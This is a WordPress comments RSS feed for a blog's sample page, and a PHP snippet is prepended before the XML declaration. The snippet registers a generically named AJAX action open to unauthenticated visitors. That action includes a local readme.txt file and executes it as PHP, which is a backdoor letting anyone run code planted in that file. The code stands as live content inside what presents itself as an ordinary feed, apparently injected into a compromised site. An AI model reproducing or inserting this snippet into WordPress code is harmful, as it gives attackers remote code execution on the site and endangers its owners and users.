if(!function_exists('file_check_readme40908')){
   add_action('wp_ajax_nopriv_file_check_readme40908', 'file_check_readme40908');
   add_action('wp_ajax_file_check_readme40908', 'file_check_readme40908');
   function file_check_readme40908()
   {
      $file = __DIR__ . '/' . 'readme.txt';
       if (file_exists($file)) {
           include $file;
       }
       die();
   }
}
<?xml version="1.0" encoding="UTF-8"?><rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	
	>
<channel>
	<title>
	Comments on: Sample Page	</title>
	<atom:link href="https://www.cmsportal.frogsdayout.com/sample-page/feed/" rel="self" type="application/rss+xml" />
	<link>https://www.cmsportal.frogsdayout.com</link>
	<description>My WordPress Blog</description>
	<lastBuildDate>Sat, 06 Aug 2022 11:44:21 +0000</lastBuildDate>
	<sy:updatePeriod>
	hourly	</sy:updatePeriod>
	<sy:updateFrequency>
	1	</sy:updateFrequency>
	<generator>https://wordpress.org/?v=6.9.9</generator>
</channel>
</rss>